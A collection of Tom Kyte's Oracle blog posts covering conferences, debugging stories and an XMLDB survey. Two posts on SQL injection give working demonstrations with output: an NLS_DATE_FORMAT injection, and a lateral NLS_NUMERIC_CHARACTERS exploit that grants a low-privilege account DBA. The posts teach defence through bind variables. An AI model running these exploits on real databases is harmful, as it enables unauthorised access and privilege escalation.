Tom Kyte

The call for papers for the UKOUG 2012 conference ends in less than three short weeks!  If you were planning on going to the conference (and even if not) - you should consider submitting a paper.

I've been a long time supporter of all of the user groups and their conferences and I can attest to the quality of the UKOUG event.  The conference is chock full of technical talks with hundreds of sessions to choose from.  There is something for everyone there.
If you've never presented before, don't let that deter you from submitting a paper.  No one knows the anxiety that public speaking can bring better than I - I've written about it before. You'll find the conference to be an entirely different experience on the other side of the podium.  In addition to the experience of presenting, the networking and exposure that comes with being a speaker won't hurt you at all.  Whether you are a DBA or developer - having good public speaking skills is a necessity today - and using the conference as a way to build those skills is a great way to start.
Additionally - what you have to say is important and relevant to the user community as a whole.  A good conference needs a lot of speakers, from many diverse disciplines, with diverse backgrounds - the more speakers the merrier.  Don't think you don't have anything to offer - everyone does.  And don't feel that your topic wouldn't be interesting to someone else - it will be.  There are a lot of people out there trying to do some of the same things you've done and they'd love to hear how you did it.
That is one of the things about user groups I really like - they bring together a lot of people doing similar things - but in a different way.  You'll learn something new - and they will too.  
The UKOUG is one of the larger and well run conferences out there - don't be afraid to talk.  Challenge yourself to get up there and just do it.  You won't be sorry (ok, maybe in the minutes leading up to it you will be - but you'll get over that :) ) 
Hope to see you there - and don't chicken out!

Question: What do Pokemon and When Others in PL/SQL have in common?

For many developers the answer is:

Asnwer: You gotta catch 'em all.

I saw this other blog post on "Dodgy Coder" and was greatly amused by the comparison of Pokemon and catching all exceptions and basically making them disappear.

I've written about this "worst" practice a lot.  You can see some of them at:

• http://tkyte.blogspot.com/2007/03/dreaded-others-then-null-strikes-again.html
• http://tkyte.blogspot.com/2008/06/when-others-then-null-redux.html
• http://www.oracle.com/technetwork/issue-archive/2007/07-jul/o47asktom-092692.html
• http://www.oracle.com/technetwork/issue-archive/2011/11-nov/o61asktom-512015.html (why you really want to let exceptions propagate)

You really DON'T gotta catch em' all!  And if you do - you really gotta throw them again (re-raise them)

There is a saying "correlation is not causation" meaning - just because you observe A and then observe B, it does not mean that A causes B - even if every single time you observe A - you see B as a 'side effect'.

Here is a great story to back that up - a debugging session where the end users had determined that they could not send email more than 500 miles.  Read it and note how much work the end users had gone into 'proving' that email cannot be sent more than 500 miles...

I use a similar story when talking about bind variables and bind variable peeking.  In the story - I make the claim that "when ever it rains on a Monday morning - you have to restart the database in the afternoon to make it perform correctly".  That is - rain on Mondays implies poor performance, and the only fix is to reboot.

This conclusion was reached via empirical observation - every single time, *every single time*, it would rain on Monday mornings - the database would respond with really poor response times to certain critical queries in the afternoon.  Every single time, without failure.  It must be that rain affects database performance somehow.

But here is what really was happening.  The database in question was a database that was backed up using cold backups (DBA's were of the archaic type).  These cold backups took place Sunday nights - late at night.  That meant that every Monday morning all of the caches would be virtually empty.  No parsed SQL for the applications in particular would be present.  So - Monday morning was the morning of hard parses every single week.

Now, in the critical application - there was a query that went against some very skewed data.  99.9999% of the time - the queries would be very selective, they would return 1 or 2 rows.  The other times - they would be very non-selective returning much of the table - but these queries were rare.

Now, the main user of this application was a person that came in early most of the time - they would get into the office at 6am and start working.  They always used bind inputs that returned very few rows - hence the problem queries would hard parse and tend to use indexes.  When this happened - everyone was happy.

The other set of users - they came in later, usually around 9am or so.  They would run the non-selective query and were OK with the index performance.  It might not have been the *best* possible performance - but it worked OK for them.

So, what was the link to rain?  Well, the office where everyone worked was located in Washington DC - when it rains in DC it doesn't matter if you leave home at 6am - it'll been noon before you get to work.  If you leave at 7am - it'll be noon when you get to work.  If you leave at 8am - it'll still be noon before you get to work.  In short - it really didn't matter when you left for work - if you are driving into the city - it is going to take a long time.  So, when it rained, the person that did the selective queries would just hit the snooze button on the alarm and go back to sleep.  Not worth driving in yet.

However, the people that did the non-selective queries - they lived in an apartment across the street from the  office.  They were not affected by the rain.  They came in at 9am regardless.  Since they ran the non-selective queries and the cache was empty - they would hard parse the queries and result with full scan plans.  This group of people was in fact a little convinced that rain *helped* performance a bit - when it rained on Mondays - they saw slightly better performance in the morning.

When the person that slept in finally got to work - and ran the application - they would definitely notice the full scans and how slow the database was.  Since it was raining - and they had observed this hundreds of times before - they call the data center - tell them "It is Monday, it is raining, you know what to do", after the reboot, everything is running fast again.

But - did it have anything to do with rain - or was it something entirely different :)

Getting to the root cause (bind peeking issue) can lead you to an efficient, effective corrective action (perhaps query plan stability for a certain set of queries for example).

Going down the empirical path of "correlation must imply causation" will lead to never actually fixing the problem - and the invention of many myths...

Usually I'm pushing information out - now I need to pull some in.

We're evaluating the usage of XMLDB in the database community. We would like to know what components of XMLDB are most frequently used. Please let us know which of the following you use:

• XMLType storage
  
• XML store as CLOB
• XML store as Binary XML
• XML store as Object Relational
• Indexing
  
• Unstructured
• Structured
• Functional indexes
• Text Indexes
• XML <--> Relational interaction
  
• XML Generation from relational
  
• XMLType views on relational data
• Relational views on XML data (using XMLTable)
  
• XDB repository
• Protocols
• Webservices
• File/folder access
  
• advanced features like versioning, events, xlink, anything else
  

Any background on how you use the capability will be of interest. Just leave a comment and we'll definitely be reading them all.


Thanks for taking the time to respond!

I stumbled upon this blog entry about a debugging story on a blog amusingly named "a.out".  Go read it now before you read on here.  It is pretty amusing...

Also - I liked the name a.out - it's been a while since I've seen one of those files :)

Anyway - onto my favorite debugging story.  It is very similar to the a.out story above - very similar.  Just goes to show that sometimes debugging takes more than computer skills - somethings you have to be like Sherlock Holmes.

It was in the first half of the 1990's - either late 1993 or early 1994.  Version 6 of Oracle was still fairly heavily used - Version 7.0 was just released in late 1992.  A customer was using an off the shelf time and attendance application for a large factory.  It was a brand new implementation, just ported from Informix. This installation was one of the first Oracle installs and the biggest installation for the time and attendance company to date.

But - they were having a problem.  At various points in the day the application would freeze - just totally stop.  Unfortunately those points in the day were known as morning shift, lunch, evening shift - the exact points in time people would be checking in and out of the application.  In short - it seemed to freeze under load.  This was something that according to the time and attendance company "never ever happened with the Informix version - so it must be an Oracle bug" (of course it must be....)

Anyway - I was asked to take a look along with another guy I worked with.  We went to the factory and started looking at the problem.  Now remember - this is way before ASH/AWR, sql_trace was in its infancy, statspack did not exist - utlestat/bstat were useless, OEM didn't exist (sqldba lmode=y was state of the art).  There wasn't much to go on - what we had to do initially was wait for the issue to happen and see what we could see.

That day - during lunch, it happened - the application froze.  People could not clock back into work - the queues of people trying to get back in were building up.  We could see there was enqueue contention - but we couldn't figure out what was causing it.  It appeared to be a read only application blocking everyone (not possible if you asked us - it was read only and reads don't block writes in Oracle).  We knew it was a read only application because the time and attendance folks told us it was - just a report that ran every 15 minutes to produce a list of who was clocked in and who wasn't.

So, we set down to write some scripts to start capturing the limited v$ information we had at that time - very little existed but we set out to capture it.  And then we waited.  And waited.  And then it happened again - but the information we captured didn't really help us.

Getting a little desperate now (the time and attendance folks were suggesting that maybe the factory use Informix instead of Oracle since Oracle was apparently 'broken') - we kept trying to go forward.  Someone suggested that we go out on the factory floor and observe the people using the application - to which we said "that doesn't sound useful, no thanks".  After a few more incidents and not being able to see the solution - it was suggested again that we observe the application users in action.  This time - since nothing else was working - we said ok.

So, we go onto the floor right before lunch was ending.  The setup was such that there were a bunch of PC's lined up - sort of like cash registers at a large grocery store, and people would line up at the PC's and swipe their ID card to clock in.  Everything was going good - people would walk up to the PC - hit enter and swipe their card.  It was going like clockwork - until - it wasn't.  The incident occurred again - the system froze.

What we observed was that some of the lines where still moving - but as people moved into those lines, they would freeze shortly as well.  Pretty soon - all of the lines were 'stuck' - well, all but one.  There was one PC at the end no one was using.  We walked over to it and saw the screen said "hit enter to continue".  We hit enter to continue and.... The event was over.

That was a clue...  So, we started asking questions - the most important ones being "what took place in the application right before the hit enter to continue was on the screen" and "what took place right after".  The time and attendance people said that right before that message came up - they would update the record of the person clocking in or out - and then after hitting enter they would be set up for the next person by committing.  Simple enough - but how could that be blocked by a simple report?

So, we looked at the code for the report.  It was read only - in a manner of speaking.  Turns out - they wanted a 'read consistent' report and the way they achieved that in Informix was to use SELECT FOR UPDATE.  Informix didn't do multi-versioning, it didn't have read consistency.  By using SELECT FOR UPDATE they ensured that the results from Informix would be consistent with respect to the time the query completed.

When they "ported" their application to Oracle - they didn't change a thing - they assumed "sql is sql is sql, all databases are the same".  So, this read only report was doing a big old SELECT FOR UPDATE - and the SELECT FOR UPDATE was a simple select from the user table - of the entire table.  In short - it would eventually lock the entire table (when it worked).

So, this is what was happening.  The end users were so used to swiping a card and walking away from their old  system (just clock in and leave) that they continued this behavior with the new system.  They would swipe and walk away - leaving the blinking "hit enter to continue".  The next person in line would hit enter, swipe and leave.  But now ask yourself - what would happen if there was no next person in line?  Well, the last person through that line would leave their record locked in the users table - it would remain locked until someone hit enter.

That doesn't sound too bad yet - after all the only thing that was going to update that sole record would be that user clocking out later - they would only block themselves.  That would have been true except for that report.  Every 15 minutes that report would wake up and issue a SELECT FOR UPDATE against the users table. And of course that SELECT FOR UPDATE would - block.  But it would only block after locking a certain amount of that table!  Suppose the user with the locked record was physically in the "middle" of the table - the report would now have locked the entire top half of the table.  That would prevent anyone whose record was in the top half of the table from clocking in or out - the locking issue would raise its head and the system would freeze.

So, the problem wasn't Oracle - and the problem was really tricky to figure out.  If the person that left their record locked was near the "top" of the table - the problem didn't really come up.  If the person that left their record locked was near the bottom of the table - the problem would show up big time.  And it was caused by two things:

• A poorly placed commit - don't put the commit after a point in time you waited for the end user 
• A misunderstanding on how to get read consistent results in Oracle

The problem never arose in the Informix applications because the installations using Informix had all been very small - and/or - the end users interacted with the application differently (they would swipe and hit enter - instead of hit enter and swipe!).
Moving the commit was the quick fix.  Reviewing the code and removing FOR UPDATE from many of the queries (it would many times be there 'just in case') was the real fix.
But - it was a debugging story that required no computers to debug.  Just like a defective floor plate from a.out...

Not that this is the last time I'll write a blog entry ever again - but...

I've noticed that many times I've wanted to blog something recently - it would have been really really short and I just said "that would be silly to blog a sentence".  So.... I've decided to try twitter


Follow @OracleAskTom!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs"); You can follow me there if you are interested.

I'll be doing four public events in the next week and a half or so.

The first one is open to anyone - anywhere.  I'll be doing a live webinar on MAA - the Maximum Availability Architecture.  It will take place this Thursday April 12th at 10am PDT.  You should register online before then if you are interested.

After that, I'll be off to Belfast Ireland to do a repeat of what I presented at Oracle OpenWorld in October.  This will be done in conjunction with Oracle and the UKOUG.  See http://www.ukoug.org/events/tom-kyte-seminar-and-asktom-live/ for details, it'll take place on Monday April 16th.

When I'm done in Ireland - I'll be doing it all over again in London on Wednesday April 18th.  This is being put on by the UKOUG and details may be found here http://www.ukoug.org/events/tom-kyte-seminar/.

Lastly - I'll be going from London to Las Vegas for IOUG's Collaborate.  I'll be doing a day of Real World Performance with Andrew Holdsworth and Graham Wood.  If you are going to Collaborate and want to spend all day Sunday in a technical session (probably cheaper than the tables....) - you might want to check it out.  Details on the session can be found here: http://events.ioug.org/p/cm/ld/fid=31#real

Hope to see you at one of the events... (well, I won't really see anyone at the first event but you know what I mean)

I often say "I learn something new about Oracle every day".  It really is true - there is so much to know about it, it is hard to keep up sometimes.

Here are the two new things I learned - the first is regarding temporary tablespaces.  In the past - when people have asked "how can I shrink my temporary tablespace" I've said "create a new one that is smaller, alter your database/users to use this new one by default, wait a bit, drop the old one".  Actually I usually said first - "don't, it'll just grow again" but some people really wanted to make it smaller.

Now, there is an easier way:

http://docs.oracle.com/cd/E11882_01/server.112/e26088/statements_3002.htm#SQLRF53578

Using alter tablespace temp shrink space .


The second thing is just a little sqlplus quirk that I probably knew at one point but totally forgot.  People run into problems with &'s in sqlplus all of the time as sqlplus tries to substitute in for an &variable.  So, if they try to select '&hello world' from dual - they'll get:


ops$tkyte%ORA11GR2> select '&hello world' from dual;
Enter value for hello: 
old   1: select '&hello world' from dual
new   1: select ' world' from dual


'WORLD
------
 world


ops$tkyte%ORA11GR2> 


One solution is to "set define off" to disable the substitution (or set define to some other character).  Another oft quoted solution is to use chr(38) - select chr(38)||'hello world' from dual.  I never liked that one personally.  
Today - I was shown another way
https://asktom.oracle.com/pls/apex/f?p=100:11:0::::P11_QUESTION_ID:4549764300346084350#4573022300346189787 

ops$tkyte%ORA11GR2> select '&' || 'hello world' from dual;
'&'||'HELLOW------------&hello world
ops$tkyte%ORA11GR2>
just concatenate '&' to the string, sqlplus doesn't touch that one!  I like that better than chr(38) (but a little less than set define off....)

The call for papers for Oracle OpenWorld is now open.  Give it a try and see if you can get a slot!

I recently did a web seminar on Oracle Database Security (you can see a replay of it here).  We had over 1,300 live attendees (glad I couldn't see you all - that would be scary) and the feedback was pretty good.

We also received a few questions, well, actually - a lot of questions.  I'm going to try to tackle them here bit by bit.  I'm going to start with my favorite topic - questions centered around SQL Injection.  I'll center on the core concepts around SQL Injection in this article and then do a followup article regarding the Oracle Database Firewall - a tool useful for detecting and blocking SQL Injection attacks.

During the presentation - I talked about how insidious SQL Injection is - and how hard it can be to detect. In fact, I've written about this before, in this article.  The interesting thing about that article on injecting is the very last part of it, the section on "selective system grants".  If you read that small section you'll see a comment "Note: Revised content—to prevent SQL injection— for this procedure submitted by Roy Jorgensen.".  What that means is - the original article I submitted had a SQL Injection bug in it - right after I just spent pages going over SQL Injection!  That wasn't too embarrassing was it (it was).  But it does point out how easy it is for a SQL Injection bug to sneak into code - even when the coder knows full well what SQL Injection is and how it happens!

Anyway, during the web seminar I talked about a slide I use - with a full stored procedure on it - that contains a SQL Injection bug.  I ask the audience, usually full of developers and DBAs to tell me how the code can be SQL Injected..  I tell them right out - this code can be injected and if I were to put it in my schema and grant you execute on it - you could use this to read pretty much any table I own.

I usually hear crickets at this point in time, no hands, no volunteers.  Here is the slide:


Note that the input to this procedure is a binary Oracle date - it is fixed length, 7 bytes of data - the century, year, month, day, hour, minute and second.   The input is not a string, the input cannot contain things like "or 1=1" - typical SQL Injection attack strings.  It can only contain an Oracle date.  So - the question is - how can I 'trick' this stored procedure into showing me anything I want to see in the schema that owns the procedure (thus bypassing any and all security the application tier might have put in place - there are no restrictions on what I can and cannot see now).

Before we get there - let's talk about the bit of code that will be problematic - that is line 10.  As noted there is a double implicit conversion going on there.  That line of code is really:


Where created = to_date( to_char( p_date ) );

There is an implicit to_char on the date field in order to concatenate it to the query string.  Then, at runtime there is an implicit to_date on the string we concatenated in so we can compare it to a date.  This is a very common thing I see in code all of the time (implicit conversions) - but it is pure evil.  Not only will we discover it is the cause of a SQL Injection issue - but here it is a logic bomb as well.
First of all - by default - that to_date( to_char() ) conversion will have a side effect of effectively truncating the time component from the date field.  That is evil.  If you wanted to truncate the time off - please use TRUNC() on the date - it is much faster, more efficient, and expresses clearly that you intend to truncate the time component.  To_date(to_char()) does none of that.  Secondly - the conversion by default will also lose the century.  If you were trying to look for things created during the war of 1812 - you would lose, you cannot search for 1812 - it would become 2012 (well, right now as I write this it would be 2012 - in 38 years it will become 2112 and you won't be able to search for 2012 anymore...).

Also consider that I said "by default".  By default the NLS_DATE_FORMAT is DD-MON-RR (currrently, it has been different in the past!).  What happens to this code when someone decides to change it?  Your application might well start querying up entirely different data!
So, the implicit conversion by itself is bad - but the real issue is the SQL Injection flaw.  If you just run this procedure, by default - it certainly looks OK:
ops$tkyte%ORA11GR2> exec inj( sysdate )
        select *          from all_users         where created = '02-FEB-12'
PL/SQL procedure successfully completed.
that looks OK - seems pretty safe - until, until someone who has read the documentation comes along.  They might run your code like this:
ops$tkyte%ORA11GR2> alter session set  2  nls_date_format = 'dd-mon-yyyy"'' or ''a'' = ''a"';
Session altered.ops$tkyte%ORA11GR2> exec inj( sysdate )
        select *          from all_users         where created = '02-feb-2012' or 'a' = 'a'A.....EBRAPP.....EBRTBLS.....UTIL.....USER2.....
PL/SQL procedure successfully completed.
Now that is surprising,  you might not even know you could do that in an NLS_DATE_FORMAT.  It is really hard to protect against something you don't even know you can do - isn't it?  I've had people look at that example and scoff at it - saying "so what, they were allowed to see that table".  Ok, take it a step further, I'd like to know what tables you own - so I can start querying them.  I'll just do this:
ops$tkyte%ORA11GR2> alter session set  2  nls_date_format = '"''union select tname,0,null from tab--"';Session altered.
ops$tkyte%ORA11GR2> exec inj( null )
Select *  from all_users where created = ''union select tname,0,null from tab--'
....
Now you can see where this is going...  I find one SQL Injection bug in one procedure and I've unlocked the entire schema.  
So, the question now comes up - how do I protect myself from this?  What can I do to ensure I'm not subject to SQL Injection in this code?
There are two ways - the hard way and the easy way.  
The hard way involves writing code to validate everything and having serious code reviews of any code that uses string concatenation to build their SQL statements - any code that takes a parameter as input and concatenates it to a SQL query must be read and reviewed by many people - many people who will be super critical of the code.  In this case, the resulting code would have to be:
where created = to_date( ''' || to_char(p_date,'yyyymmddhh24miss') ||''', ''yyyymmddhh24miss'')';   
You need to have a coding standard that says:

1. You shall never use implicit conversions ever, as in never.
2. You shall always use an explicit date mask with dates, as in every single time, you will not rely on defaults (because defaults can inject you and because defaults can radically modify your logic unintentionally!)

And now you have to comb through all of your code looking for these bad practices (you should anyway - you have major logic bombs just waiting to explode in your code if you rely on default NLS settings and implicit conversions).
The easy way however is the way to go.  The easy way is - just use bind variables!  If you use bind variables, you cannot be SQL Injected - this is true for PL/SQL, for Java, for any and all languages.  If you use bind variables you cannot be SQL Injected - period.  It is that simple, really and truly.  If the code was:
  7          l_query := '  8          select *  9            from all_users 10           where created = :x'; 11          open c for l_query USING P_DATE;there is no way the end user can trick that SQL query into becoming anything other than what it is - in fact, for this example, the code should have been:
as   cursor c is select * from all_users where created = p_date;begin   open c;   ...
and nothing more - it shouldn't have even been using dynamic SQL.  In Java/C#/C++/etc - you would be using dynamic SQL and you should be using bind variables.   So, that answered all of these questions I received:
• where can I find an illustration of SQL injection?• can u share the sql injection demo code• Can you share that SQL injection slide?• Can you show a code example of the SQL injection bug that nobody noticed during your presentations?• Can you show us or point us to the site of the example of SQL injection bug?• Is SQL injection all about binding, or is there more?
Another question was:
• should application layer deal with the SQL injection attacks prevention as that layer understands what the proper data access patterns look like rather than database?
My response to that is - the application layer should definitely be aware of SQL Injection and use secure coding practices which would include:always use a bind variable unless you have an excellent technical reason not to - and then you must submit your code for review to at least five people who do not like you - they must be motivated to rip your code apart, critically review it, make fun of it - so they find the bugs.However - we need to also employ defense in depth - for when the inevitable bug slips through.  When I next write about this - I'll be going over the Oracle Database Firewall - a tool that can provide at least one more layer of defense.
The last question on this topic was: 
• What is the dbms_assert PL/SQL package? How does it help prevent SQL injection? Should my organization be using it?
For that - I'll just forward you onto an excellent paper on this subject written by Bryn Llewellyn.  You can find that paper here.

I remember the first Hotsos Symposium like it was yesterday.  It was a time I got to meet many people I had interacted with online for the first time - like Jonathan Lewis for example.  I cannot believe it was 10 years ago...

I've attended all but one of these events over the years (and I definitely won't be missing the 10 year anniversary!) - it is one of the few conferences where I try to attend as many sessions as I can myself.  One thing I like is there are only two tracks at most - meaning you'll miss some content you probably wanted to see - but nothing on the scale of the larger conferences out there with 10, 20 or more concurrent tracks.

The party they throw every year isn't bad either.  (the food is probably the best conference food ever ;) )

In addition to the three day conference (March 5th-March 7th) - Jonathan Lewis will be giving the extra training day on Thursday.

But wait, there's more...

Cary Millsap will be giving a one day training course on Friday March 9th in the same area.

So, if you want to overdose on Oracle for a week, I'd recommend the Symposium, followed by Jonathan's "Designing Optimal SQL" training day, and closing up with Cary and some trace data analysis.

I just wrote about SQL Injection yesterday - after having giving a web seminar on Wednesday the touched on the topic.

One of the comments on that post was by David Litchfield, he wrote:
Hey Tom,Funnily enough I just published a paper about doing the same thing with NUMBER concatenations. This was an addendum to a paper I wrote in 2008 on exploit DATE concatenations - the same problem you discuss here. You can get the recent paper here: http://www.accuvant.com/capability/accuvant-labs/security-research/lateral-sql-injection-revisited-exploiting-numbers and the first paper here: http://www.databasesecurity.com/dbsec/lateral-sql-injection.pdf
I read that new paper and learned something new (actually, much like David - I was kicking myself because I should have been able to see this problem coming as well.  It is just a variation on a theme after all).  In that paper, he demonstrates how to exploit a SQL Injection flaw using NLS settings with numbers.  That is something I hadn't considered before.  NLS settings for numbers are different than for dates.  With a date, I can set the format string to have any string of characters I want.  With numbers - you are very much restricted. On the face of it - it doesn't look like you can exploit a SQL Injection flaw with numbers like you can with dates.

But - you can.  Just not as flexibly.  But the end result can be as disastrous.

One of the follow on comments to this posting by David was:

the problem David mentions in http://www.accuvant.com/capability/accuvant-labs/security-research/lateral-sql-injection-revisited-exploiting-numbers only arises since NUM_PROC is owned by SYS,as far as I can see, correct ? So, it's not really a problem since nobody ever does something as SYS, correct.
In his example, David used SYS to demonstrate with - which could lead people to believe "ah, it needs SYS to exploit this flaw".  But - it doesn't.  All it requires is an account with these privileges:

• Create session
• Create procedure
• Create public synonym <<<=== these guys are evil!  Should be avoided

And another schema that has the ability to GRANT stuff - like DBA.  It doesn't have to be DBA, it could be any privilege they have the ability to grant.
Here is how to exploit the flaw.  First - read David's paper to get the background on the 'P ' NLS_NUMERIC_CHARACTERS.  Then you'll understand how:
a%ORA11GR2> select .1 from dual;
        .1----------        P1
works.  Once you have mastered that, all we need to do to exploit this type of SQL Injection flaw is this.  I'll have a DBA schema containing a procedure that uses dynamic SQL with string concatenation and a number as an input:
ops$tkyte%ORA11GR2> create or replace procedure do_something( l_num in number )  2  as  3      l_query  long;  4      l_cursor sys_refcursor;  5      l_rec    all_users%rowtype;  6  begin  7      l_query := '  8       select *  9         from all_users 10        where user_id = ' || l_num; 11      dbms_output.put_line( l_query ); 12   13      open l_cursor for l_query; 14   15      loop 16          fetch l_cursor into l_rec; 17          exit when l_cursor%notfound; 18          dbms_output.put_line( 'username = ' ||                                    l_rec.username ); 19      end loop; 20      close l_cursor; 21  end; 22  /Procedure created.
Then, we'll have our account with the small set of privileges:

ops$tkyte%ORA11GR2> create user a identified by a;User created.
ops$tkyte%ORA11GR2> grant create session, create procedure,                    create public synonym to a;Grant succeeded.

and we'll allow it to access this procedure - just like in my original SQL Injection article:
ops$tkyte%ORA11GR2> grant execute on do_something to a;Grant succeeded.
Ok, so now we'll log in as A and run the procedure to see what it does:
ops$tkyte%ORA11GR2> connect a/aConnected.a%ORA11GR2> a%ORA11GR2> exec ops$tkyte.do_something( 5 );
     select *       from all_users      where user_id = 5username = SYSTEM
PL/SQL procedure successfully completed.

Now, we suspect it might use string concatenation - so we'll create a function that might be able to exploit this:
a%ORA11GR2> create or replace function foobar return number  2  authid current_user  3  as  4      pragma autonomous_transaction;  5  begin  6      execute immediate 'grant dba to a';  7      return 5;  8  end;  9  /Function created.
And then set up our public synonym for it and allow others to execute it:
a%ORA11GR2> create public synonym p1 for foobar;Synonym created.
a%ORA11GR2> grant execute on foobar to public;Grant succeeded.

and now for the magic:
a%ORA11GR2> alter session set nls_numeric_characters = 'P ';Session altered.
and viola:
a%ORA11GR2> set role dba;set role dba*ERROR at line 1:ORA-01924: role 'DBA' not granted or does not exist

a%ORA11GR2> exec ops$tkyte.do_something( .1 );
     select *       from all_users      where user_id = P1username = SYSTEM
PL/SQL procedure successfully completed.
a%ORA11GR2> set role dba;
Role set.

I have DBA...
SQL Injection is insidious.  SQL Injection is hard to detect.  SQL Injection can be avoided - by simply using bind variables.  In the event a bind variable is not possible for some provable technical reason (and those events are few and far far far in between) you have to critically review that code over and over and try to think of every way it could be exploited.  The problem with that however is that before yesterday - I would have looked at this code and might have said "this looks ok".  
It is really hard to protect yourself from something you cannot see.



Updated a little later: Let me also say this:

If you use static sql in plsql - your code in plsql cannot be sql injected, period.  It is not possible.  The only way to get sql injected in plsql is to use dynamic sql - that is the only time.  So, if you want maximum protection from SQL Injection - if you just want to avoid it, you will:

a) write your SQL code in PL/SQL
b) call this PL/SQL from your java/c/c#/whatever code USING BINDS to pass all inputs and outputs to/from the database

If you do that - no SQL Injection attacks are possible.  

I'll be doing a web seminar on Big Data on February 16th at 10am Pacific Time.  Here is the info:


Big Data Essentials: What You Need to Know, February 16th, 10:00 am – 1:30 pm PT

Big data is big news these days. But you don’t base IT investment decisions on magazine headlines.

Join us for the Big Data Online Forum to learn the essentials of big data—from the technology underlying it to real-world use cases. Oracle’s Tom Kyte, Cloudera CEO Mike Olson, and other industry thought leaders will be on hand to explain how big data can deliver revolutionary insight and competitive advantage.

You’ll get answers to tough questions surrounding big data, including:

•     What business insight can big data uncover?
•     How do you manage big data?
•     How do you integrate big data into decision-making?

Register today for this half-day online event featuring live Q&A with big data experts.

www.oracle.com/goto/bigdata